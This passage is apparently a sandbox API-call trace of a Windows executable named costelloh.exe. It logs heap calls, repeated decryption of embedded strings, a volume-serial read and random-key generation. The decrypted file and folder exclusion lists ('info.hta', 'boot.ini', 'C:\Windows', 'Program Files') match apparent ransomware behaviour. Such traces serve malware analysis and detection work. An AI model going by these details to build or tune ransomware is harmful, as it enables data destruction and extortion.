	[0052.011] RtlReAllocateHeap (Heap=0xa10000, Flags=0x0, Ptr=0xa104b0, Size=0x104) returned 0xa18bc8
	[0052.011] RtlReAllocateHeap (Heap=0xa10000, Flags=0x0, Ptr=0xa18398, Size=0x200) returned 0xa18cd8
	[0052.011] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa153a0 | out: hHeap=0xa10000) returned 1
	[0052.011] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa18cd8 | out: hHeap=0xa10000) returned 1
	[0052.011] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa15450 | out: hHeap=0xa10000) returned 1
	[0052.011] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa152f0 | out: hHeap=0xa10000) returned 1
	[0052.011] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa152d8 | out: hHeap=0xa10000) returned 1
	[0052.011] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa153c8 | out: hHeap=0xa10000) returned 1
	[0052.011] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa153b0 | out: hHeap=0xa10000) returned 1
	[0052.011] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa18bc8 | out: hHeap=0xa10000) returned 1
	[0052.012] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa15378 | out: hHeap=0xa10000) returned 1
	[0052.012] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa184a0 | out: hHeap=0xa10000) returned 1
	[0052.012] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa10540 | out: hHeap=0xa10000) returned 1
	[0052.012] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa18b38 | out: hHeap=0xa10000) returned 1
	[0052.012] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa185e8 | out: hHeap=0xa10000) returned 1
	[0052.012] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa113b0 | out: hHeap=0xa10000) returned 1
	[0052.012] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa11398 | out: hHeap=0xa10000) returned 1
	[0052.012] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa11498 | out: hHeap=0xa10000) returned 1
	[0052.012] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa11480 | out: hHeap=0xa10000) returned 1
	[0052.012] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa113f8 | out: hHeap=0xa10000) returned 1
	[0052.012] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa113e0 | out: hHeap=0xa10000) returned 1
	[0052.012] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa152c8 | out: hHeap=0xa10000) returned 1
	[0052.012] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa11528 | out: hHeap=0xa10000) returned 1
	[0052.012] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa11368 | out: hHeap=0xa10000) returned 1
	[0052.012] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa113c0 | out: hHeap=0xa10000) returned 1
	[0052.012] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0xa4) returned 0xa104a0
	[0052.012] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x5a) returned 0xa18398
	[0052.012] RtlReAllocateHeap (Heap=0xa10000, Flags=0x0, Ptr=0xa18398, Size=0xb2) returned 0xa18398
	[0052.012] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x10) returned 0xa18690
	[0052.012] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0xb40) returned 0xa18b38
	[0052.012] CryptImportKey (in: hProv=0x14420, pbData=0x95fb54, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95fbbc | out: phKey=0x95fbbc*=0x22890) returned 1
	[0052.012] CryptSetKeyParam (hKey=0x22890, dwParam=0x1, pbData=0x95fba4, dwFlags=0x0) returned 1
	[0052.012] CryptDecrypt (in: hKey=0x22890, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa18b38, pdwDataLen=0x95fb70 | out: pbData=0xa18b38, pdwDataLen=0x95fb70) returned 1
	[0052.012] CryptDestroyKey (hKey=0x22890) returned 1
	[0052.012] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20) returned 0xa10550
	[0052.012] CryptImportKey (in: hProv=0x14420, pbData=0x95fb4c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95fbb4 | out: phKey=0x95fbb4*=0x222d0) returned 1
	[0052.012] CryptSetKeyParam (hKey=0x222d0, dwParam=0x1, pbData=0x95fb9c, dwFlags=0x0) returned 1
	[0052.012] CryptDecrypt (in: hKey=0x222d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa10550, pdwDataLen=0x95fb68 | out: pbData=0xa10550, pdwDataLen=0x95fb68) returned 1
	[0052.012] CryptDestroyKey (hKey=0x222d0) returned 1
	[0052.012] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x90) returned 0xa18458
	[0052.012] CryptImportKey (in: hProv=0x14420, pbData=0x95fb24, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95fb8c | out: phKey=0x95fb8c*=0x22950) returned 1
	[0052.013] CryptSetKeyParam (hKey=0x22950, dwParam=0x1, pbData=0x95fb74, dwFlags=0x0) returned 1
	[0052.013] CryptDecrypt (in: hKey=0x22950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa18458, pdwDataLen=0x95fb40 | out: pbData=0xa18458, pdwDataLen=0x95fb40) returned 1
	[0052.013] CryptDestroyKey (hKey=0x22950) returned 1
	[0052.013] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x84) returned 0xa152c8
	[0052.013] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x84) returned 0xa15358
	[0052.013] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x90) returned 0xa11368
	[0052.013] CryptImportKey (in: hProv=0x14420, pbData=0x95fafc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95fb64 | out: phKey=0x95fb64*=0x22310) returned 1
	[0052.013] CryptSetKeyParam (hKey=0x22310, dwParam=0x1, pbData=0x95fb4c, dwFlags=0x0) returned 1
	[0052.013] CryptDecrypt (in: hKey=0x22310, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa11368, pdwDataLen=0x95fb18 | out: pbData=0xa11368, pdwDataLen=0x95fb18) returned 1
	[0052.013] CryptDestroyKey (hKey=0x22310) returned 1
	[0052.013] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa11368 | out: hHeap=0xa10000) returned 1
	[0052.013] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys", lpDst=0xa152c8, nSize=0x42 | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys") returned 0x42
	[0052.013] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa15358 | out: hHeap=0xa10000) returned 1
	[0052.013] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa18458 | out: hHeap=0xa10000) returned 1
	[0052.013] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x60) returned 0xa18458
	[0052.013] CryptImportKey (in: hProv=0x14420, pbData=0x95fb20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95fb88 | out: phKey=0x95fb88*=0x222d0) returned 1
	[0052.013] CryptSetKeyParam (hKey=0x222d0, dwParam=0x1, pbData=0x95fb70, dwFlags=0x0) returned 1
	[0052.013] CryptDecrypt (in: hKey=0x222d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa18458, pdwDataLen=0x95fb3c | out: pbData=0xa18458, pdwDataLen=0x95fb3c) returned 1
	[0052.013] CryptDestroyKey (hKey=0x222d0) returned 1
	[0052.013] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x5c) returned 0xa184c0
	[0052.013] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x5c) returned 0xa15358
	[0052.013] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x90) returned 0xa153c0
	[0052.013] CryptImportKey (in: hProv=0x14420, pbData=0x95faf8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95fb60 | out: phKey=0x95fb60*=0x224d0) returned 1
	[0052.014] CryptSetKeyParam (hKey=0x224d0, dwParam=0x1, pbData=0x95fb48, dwFlags=0x0) returned 1
	[0052.014] CryptDecrypt (in: hKey=0x224d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa153c0, pdwDataLen=0x95fb14 | out: pbData=0xa153c0, pdwDataLen=0x95fb14) returned 1
	[0052.014] CryptDestroyKey (hKey=0x224d0) returned 1
	[0052.014] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa153c0 | out: hHeap=0xa10000) returned 1
	[0052.014] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows;Program Files;Program Files (x86);", lpDst=0xa184c0, nSize=0x2e | out: lpDst="C:\\Windows;Program Files;Program Files (x86);") returned 0x2e
	[0052.014] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa15358 | out: hHeap=0xa10000) returned 1
	[0052.014] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa18458 | out: hHeap=0xa10000) returned 1
	[0052.014] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20a) returned 0xa19680
	[0052.014] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x20a) returned 0xa19898
	[0052.014] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xa19898, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\costelloh.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\costelloh.exe")) returned 0x25
	[0052.014] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa19898 | out: hHeap=0xa10000) returned 1
	[0052.014] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0xb38) returned 0xa19898
	[0052.014] GetLastError () returned 0x0
	[0052.014] GetLastError () returned 0x0
	[0052.014] GetLastError () returned 0x0
	[0052.014] GetLastError () returned 0x0
	[0052.014] GetLastError () returned 0x0
	[0052.014] GetLastError () returned 0x0
	[0052.014] GetLastError () returned 0x0
	[0052.014] GetLastError () returned 0x0
	[0052.014] GetLastError () returned 0x0
	[0052.014] GetLastError () returned 0x0
	[0052.015] GetLastError () returned 0x0
	[0052.015] GetLastError () returned 0x0
	[0052.015] GetLastError () returned 0x0
	[0052.015] GetLastError () returned 0x0
	[0052.015] GetLastError () returned 0x0
	[0052.015] GetLastError () returned 0x0
	[0052.015] GetLastError () returned 0x0
	[0052.015] GetLastError () returned 0x0
	[0052.015] GetLastError () returned 0x0
	[0052.015] GetLastError () returned 0x0
	[0052.015] GetLastError () returned 0x0
	[0052.015] GetLastError () returned 0x0
	[0052.015] GetLastError () returned 0x0
	[0052.015] GetLastError () returned 0x0
	[0052.015] GetLastError () returned 0x0
	[0052.015] GetLastError () returned 0x0
	[0052.015] GetLastError () returned 0x0
	[0052.015] GetLastError () returned 0x0
	[0052.015] GetLastError () returned 0x0
	[0052.015] GetLastError () returned 0x0
	[0052.015] GetLastError () returned 0x0
	[0052.015] GetLastError () returned 0x0
	[0052.015] GetLastError () returned 0x0
	[0052.015] GetLastError () returned 0x0
	[0052.015] GetLastError () returned 0x0
	[0052.015] GetLastError () returned 0x0
	[0052.015] GetLastError () returned 0x0
	[0052.015] GetLastError () returned 0x0
	[0052.016] GetLastError () returned 0x0
	[0052.016] GetLastError () returned 0x0
	[0052.016] GetLastError () returned 0x0
	[0052.016] GetLastError () returned 0x0
	[0052.016] GetLastError () returned 0x0
	[0052.016] GetLastError () returned 0x0
	[0052.016] GetLastError () returned 0x0
	[0052.016] GetLastError () returned 0x0
	[0052.016] GetLastError () returned 0x0
	[0052.016] GetLastError () returned 0x0
	[0052.016] GetLastError () returned 0x0
	[0052.016] GetLastError () returned 0x0
	[0052.016] GetLastError () returned 0x0
	[0052.016] GetLastError () returned 0x0
	[0052.016] GetLastError () returned 0x0
	[0052.016] GetLastError () returned 0x0
	[0052.016] GetLastError () returned 0x0
	[0052.016] GetLastError () returned 0x0
	[0052.016] GetLastError () returned 0x0
	[0052.016] GetLastError () returned 0x0
	[0052.016] GetLastError () returned 0x0
	[0052.016] GetLastError () returned 0x0
	[0052.016] GetLastError () returned 0x0
	[0052.016] GetLastError () returned 0x0
	[0052.016] GetLastError () returned 0x0
	[0052.016] GetLastError () returned 0x0
	[0052.016] GetLastError () returned 0x0
	[0052.017] GetLastError () returned 0x0
	[0052.017] GetLastError () returned 0x0
	[0052.017] GetLastError () returned 0x0
	[0052.017] GetLastError () returned 0x0
	[0052.017] GetLastError () returned 0x0
	[0052.017] GetLastError () returned 0x0
	[0052.017] GetLastError () returned 0x0
	[0052.017] GetLastError () returned 0x0
	[0052.017] GetLastError () returned 0x0
	[0052.017] GetLastError () returned 0x0
	[0052.017] GetLastError () returned 0x0
	[0052.017] GetLastError () returned 0x0
	[0052.017] GetLastError () returned 0x0
	[0052.017] GetLastError () returned 0x0
	[0052.017] GetLastError () returned 0x0
	[0052.017] GetLastError () returned 0x0
	[0052.017] GetLastError () returned 0x0
	[0052.017] GetLastError () returned 0x0
	[0052.017] GetLastError () returned 0x0
	[0052.017] GetLastError () returned 0x0
	[0052.017] GetLastError () returned 0x0
	[0052.017] GetLastError () returned 0x0
	[0052.017] GetLastError () returned 0x0
	[0052.017] GetLastError () returned 0x0
	[0052.017] GetLastError () returned 0x0
	[0052.017] GetLastError () returned 0x0
	[0052.017] GetLastError () returned 0x0
	[0052.017] GetLastError () returned 0x0
	[0052.017] GetLastError () returned 0x0
	[0052.017] GetLastError () returned 0x0
	[0052.018] GetLastError () returned 0x0
	[0052.018] GetLastError () returned 0x0
	[0052.018] GetLastError () returned 0x0
	[0052.018] GetLastError () returned 0x0
	[0052.018] GetLastError () returned 0x0
	[0052.018] GetLastError () returned 0x0
	[0052.018] GetLastError () returned 0x0
	[0052.018] GetLastError () returned 0x0
	[0052.018] GetLastError () returned 0x0
	[0052.018] GetLastError () returned 0x0
	[0052.018] GetLastError () returned 0x0
	[0052.018] GetLastError () returned 0x0
	[0052.018] GetLastError () returned 0x0
	[0052.018] GetLastError () returned 0x0
	[0052.018] GetLastError () returned 0x0
	[0052.018] GetLastError () returned 0x0
	[0052.018] GetLastError () returned 0x0
	[0052.018] GetLastError () returned 0x0
	[0052.018] GetLastError () returned 0x0
	[0052.018] GetLastError () returned 0x0
	[0052.018] GetLastError () returned 0x0
	[0052.018] GetLastError () returned 0x0
	[0052.018] GetLastError () returned 0x0
	[0052.018] GetLastError () returned 0x0
	[0052.018] GetLastError () returned 0x0
	[0052.018] GetLastError () returned 0x0
	[0052.018] GetLastError () returned 0x0
	[0052.018] GetLastError () returned 0x0
	[0052.019] GetLastError () returned 0x0
	[0052.019] GetLastError () returned 0x0
	[0052.039] GetLastError () returned 0x0
	[0052.039] GetLastError () returned 0x0
	[0052.039] GetLastError () returned 0x0
	[0052.039] GetLastError () returned 0x0
	[0052.039] GetLastError () returned 0x0
	[0052.039] GetLastError () returned 0x0
	[0052.039] GetLastError () returned 0x0
	[0052.039] GetLastError () returned 0x0
	[0052.039] GetLastError () returned 0x0
	[0052.039] GetLastError () returned 0x0
	[0052.039] GetLastError () returned 0x0
	[0052.039] GetLastError () returned 0x0
	[0052.039] GetLastError () returned 0x0
	[0052.039] GetLastError () returned 0x0
	[0052.039] GetLastError () returned 0x0
	[0052.039] GetLastError () returned 0x0
	[0052.039] GetLastError () returned 0x0
	[0052.039] GetLastError () returned 0x0
	[0052.039] GetLastError () returned 0x0
	[0052.039] GetLastError () returned 0x0
	[0052.039] GetLastError () returned 0x0
	[0052.039] GetLastError () returned 0x0
	[0052.040] GetLastError () returned 0x0
	[0052.040] GetLastError () returned 0x0
	[0052.040] GetLastError () returned 0x0
	[0052.040] GetLastError () returned 0x0
	[0052.040] GetLastError () returned 0x0
	[0052.040] GetLastError () returned 0x0
	[0052.040] GetLastError () returned 0x0
	[0052.040] GetLastError () returned 0x0
	[0052.040] GetLastError () returned 0x0
	[0052.040] GetLastError () returned 0x0
	[0052.040] GetLastError () returned 0x0
	[0052.040] GetLastError () returned 0x0
	[0052.040] GetLastError () returned 0x0
	[0052.040] GetLastError () returned 0x0
	[0052.040] GetLastError () returned 0x0
	[0052.040] GetLastError () returned 0x0
	[0052.040] GetLastError () returned 0x0
	[0052.040] GetLastError () returned 0x0
	[0052.040] GetLastError () returned 0x0
	[0052.040] GetLastError () returned 0x0
	[0052.040] GetLastError () returned 0x0
	[0052.040] GetLastError () returned 0x0
	[0052.040] GetLastError () returned 0x0
	[0052.040] GetLastError () returned 0x0
	[0052.040] GetLastError () returned 0x0
	[0052.040] GetLastError () returned 0x0
	[0052.040] GetLastError () returned 0x0
	[0052.040] GetLastError () returned 0x0
	[0052.040] GetLastError () returned 0x0
	[0052.041] GetLastError () returned 0x0
	[0052.041] GetLastError () returned 0x0
	[0052.041] GetLastError () returned 0x0
	[0052.041] GetLastError () returned 0x0
	[0052.041] GetLastError () returned 0x0
	[0052.041] GetLastError () returned 0x0
	[0052.041] GetLastError () returned 0x0
	[0052.041] GetLastError () returned 0x0
	[0052.041] GetLastError () returned 0x0
	[0052.041] GetLastError () returned 0x0
	[0052.041] GetLastError () returned 0x0
	[0052.041] GetLastError () returned 0x0
	[0052.041] GetLastError () returned 0x0
	[0052.041] GetLastError () returned 0x0
	[0052.041] GetLastError () returned 0x0
	[0052.041] GetLastError () returned 0x0
	[0052.041] GetLastError () returned 0x0
	[0052.041] GetLastError () returned 0x0
	[0052.041] GetLastError () returned 0x0
	[0052.041] GetLastError () returned 0x0
	[0052.041] GetLastError () returned 0x0
	[0052.041] GetLastError () returned 0x0
	[0052.041] GetLastError () returned 0x0
	[0052.041] GetLastError () returned 0x0
	[0052.041] GetLastError () returned 0x0
	[0052.041] GetLastError () returned 0x0
	[0052.041] GetLastError () returned 0x0
	[0052.041] GetLastError () returned 0x0
	[0052.041] GetLastError () returned 0x0
	[0052.042] GetLastError () returned 0x0
	[0052.042] GetLastError () returned 0x0
	[0052.042] GetLastError () returned 0x0
	[0052.042] GetLastError () returned 0x0
	[0052.042] GetLastError () returned 0x0
	[0052.042] GetLastError () returned 0x0
	[0052.042] GetLastError () returned 0x0
	[0052.042] GetLastError () returned 0x0
	[0052.042] GetLastError () returned 0x0
	[0052.042] GetLastError () returned 0x0
	[0052.042] GetLastError () returned 0x0
	[0052.042] GetLastError () returned 0x0
	[0052.042] GetLastError () returned 0x0
	[0052.042] GetLastError () returned 0x0
	[0052.042] GetLastError () returned 0x0
	[0052.042] GetLastError () returned 0x0
	[0052.042] GetLastError () returned 0x0
	[0052.042] GetLastError () returned 0x0
	[0052.042] GetLastError () returned 0x0
	[0052.042] GetLastError () returned 0x0
	[0052.042] GetLastError () returned 0x0
	[0052.042] GetLastError () returned 0x0
	[0052.042] GetLastError () returned 0x0
	[0052.042] GetLastError () returned 0x0
	[0052.042] GetLastError () returned 0x0
	[0052.042] GetLastError () returned 0x0
	[0052.042] GetLastError () returned 0x0
	[0052.042] GetLastError () returned 0x0
	[0052.042] GetLastError () returned 0x0
	[0052.043] GetLastError () returned 0x0
	[0052.043] GetLastError () returned 0x0
	[0052.043] GetLastError () returned 0x0
	[0052.043] GetLastError () returned 0x0
	[0052.043] GetLastError () returned 0x0
	[0052.043] GetLastError () returned 0x0
	[0052.043] GetLastError () returned 0x0
	[0052.043] GetLastError () returned 0x0
	[0052.043] GetLastError () returned 0x0
	[0052.043] GetLastError () returned 0x0
	[0052.043] GetLastError () returned 0x0
	[0052.043] GetLastError () returned 0x0
	[0052.043] GetLastError () returned 0x0
	[0052.043] GetLastError () returned 0x0
	[0052.043] GetLastError () returned 0x0
	[0052.043] RtlReAllocateHeap (Heap=0xa10000, Flags=0x0, Ptr=0xa19898, Size=0xb54) returned 0xa19898
	[0052.043] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x86) returned 0xa15358
	[0052.043] RtlReAllocateHeap (Heap=0xa10000, Flags=0x0, Ptr=0xa15358, Size=0xa2) returned 0xa15358
	[0052.043] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x5e) returned 0xa18458
	[0052.043] CryptImportKey (in: hProv=0x14420, pbData=0x95fc7c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95fce4 | out: phKey=0x95fce4*=0x22950) returned 1
	[0052.043] CryptSetKeyParam (hKey=0x22950, dwParam=0x1, pbData=0x95fccc, dwFlags=0x0) returned 1
	[0052.043] CryptDecrypt (in: hKey=0x22950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa10550, pdwDataLen=0x95fc98 | out: pbData=0xa10550, pdwDataLen=0x95fc98) returned 1
	[0052.043] CryptDestroyKey (hKey=0x22950) returned 1
	[0052.044] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x1e) returned 0xa10578
	[0052.044] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x1e) returned 0xa15408
	[0052.044] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x90) returned 0xa111f0
	[0052.044] CryptImportKey (in: hProv=0x14420, pbData=0x95fc54, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95fcbc | out: phKey=0x95fcbc*=0x22890) returned 1
	[0052.044] CryptSetKeyParam (hKey=0x22890, dwParam=0x1, pbData=0x95fca4, dwFlags=0x0) returned 1
	[0052.044] CryptDecrypt (in: hKey=0x22890, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa111f0, pdwDataLen=0x95fc70 | out: pbData=0xa111f0, pdwDataLen=0x95fc70) returned 1
	[0052.044] CryptDestroyKey (hKey=0x22890) returned 1
	[0052.044] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa111f0 | out: hHeap=0xa10000) returned 1
	[0052.044] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xa10578, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0052.044] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa15408 | out: hHeap=0xa10000) returned 1
	[0052.044] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa10550 | out: hHeap=0xa10000) returned 1
	[0052.044] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x95fd24, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x95fd24*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0052.044] HeapFree (in: hHeap=0xa10000, dwFlags=0x0, lpMem=0xa10578 | out: hHeap=0xa10000) returned 1
	[0052.044] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x28) returned 0xa10550
	[0052.044] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x10) returned 0xa186a8
	[0052.044] CryptImportKey (in: hProv=0x14420, pbData=0x95fb8c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95fbf4 | out: phKey=0x95fbf4*=0x225d0) returned 1
	[0052.044] CryptSetKeyParam (hKey=0x225d0, dwParam=0x1, pbData=0x95fbdc, dwFlags=0x0) returned 1
	[0052.044] CryptDecrypt (in: hKey=0x225d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa186a8, pdwDataLen=0x95fba8 | out: pbData=0xa186a8, pdwDataLen=0x95fba8) returned 1
	[0052.044] CryptDestroyKey (hKey=0x225d0) returned 1
	[0052.044] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x10) returned 0xa18720
	[0052.044] CryptImportKey (in: hProv=0x14420, pbData=0x95fb84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95fbec | out: phKey=0x95fbec*=0x22690) returned 1
	[0052.044] CryptSetKeyParam (hKey=0x22690, dwParam=0x1, pbData=0x95fbd4, dwFlags=0x0) returned 1
	[0052.044] CryptDecrypt (in: hKey=0x22690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa18720, pdwDataLen=0x95fba0 | out: pbData=0xa18720, pdwDataLen=0x95fba0) returned 1
	[0052.044] CryptDestroyKey (hKey=0x22690) returned 1
	[0052.045] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x10) returned 0xa18648
	[0052.045] CryptImportKey (in: hProv=0x14420, pbData=0x95fb7c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95fbe4 | out: phKey=0x95fbe4*=0x22750) returned 1
	[0052.045] CryptSetKeyParam (hKey=0x22750, dwParam=0x1, pbData=0x95fbcc, dwFlags=0x0) returned 1
	[0052.045] CryptDecrypt (in: hKey=0x22750, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa18648, pdwDataLen=0x95fb98 | out: pbData=0xa18648, pdwDataLen=0x95fb98) returned 1
	[0052.045] CryptDestroyKey (hKey=0x22750) returned 1
	[0052.045] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x10) returned 0xa18558
	[0052.045] CryptImportKey (in: hProv=0x14420, pbData=0x95fb74, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95fbdc | out: phKey=0x95fbdc*=0x226d0) returned 1
	[0052.045] CryptSetKeyParam (hKey=0x226d0, dwParam=0x1, pbData=0x95fbc4, dwFlags=0x0) returned 1
	[0052.045] CryptDecrypt (in: hKey=0x226d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa18558, pdwDataLen=0x95fb90 | out: pbData=0xa18558, pdwDataLen=0x95fb90) returned 1
	[0052.045] CryptDestroyKey (hKey=0x226d0) returned 1
	[0052.045] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x90) returned 0xa111f0
	[0052.045] CryptImportKey (in: hProv=0x14420, pbData=0x95fb6c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95fbd4 | out: phKey=0x95fbd4*=0x222d0) returned 1
	[0052.045] CryptSetKeyParam (hKey=0x222d0, dwParam=0x1, pbData=0x95fbbc, dwFlags=0x0) returned 1
	[0052.045] CryptDecrypt (in: hKey=0x222d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa111f0, pdwDataLen=0x95fb88 | out: pbData=0xa111f0, pdwDataLen=0x95fb88) returned 1
	[0052.045] CryptDestroyKey (hKey=0x222d0) returned 1
	[0052.045] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x10) returned 0xa186c0
	[0052.045] CryptImportKey (in: hProv=0x14420, pbData=0x95fb64, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95fbcc | out: phKey=0x95fbcc*=0x222d0) returned 1
	[0052.045] CryptSetKeyParam (hKey=0x222d0, dwParam=0x1, pbData=0x95fbb4, dwFlags=0x0) returned 1
	[0052.045] CryptDecrypt (in: hKey=0x222d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa186c0, pdwDataLen=0x95fb80 | out: pbData=0xa186c0, pdwDataLen=0x95fb80) returned 1
	[0052.045] CryptDestroyKey (hKey=0x222d0) returned 1
	[0052.045] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x60) returned 0xa184c0
	[0052.045] CryptImportKey (in: hProv=0x14420, pbData=0x95fb5c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95fbc4 | out: phKey=0x95fbc4*=0x222d0) returned 1
	[0052.045] CryptSetKeyParam (hKey=0x222d0, dwParam=0x1, pbData=0x95fbac, dwFlags=0x0) returned 1
	[0052.045] CryptDecrypt (in: hKey=0x222d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa184c0, pdwDataLen=0x95fb78 | out: pbData=0xa184c0, pdwDataLen=0x95fb78) returned 1
	[0052.045] CryptDestroyKey (hKey=0x222d0) returned 1
	[0052.045] htonl (hostlong=0xb4197730) returned 0x307719b4
	[0052.045] CryptGenRandom (in: hProv=0x14420, dwLen=0x20, pbBuffer=0x95fcb8 | out: pbBuffer=0x95fcb8) returned 1
	[0052.045] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x28) returned 0xa15408
	[0052.045] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x10) returned 0xa18618
	[0052.045] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x4) returned 0xa10580
	[0052.045] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x8, Size=0x14) returned 0xa15438
	[0052.045] RtlAllocateHeap (HeapHandle=0xa10000, Flags=0x0, Size=0x10) returned 0xa18570
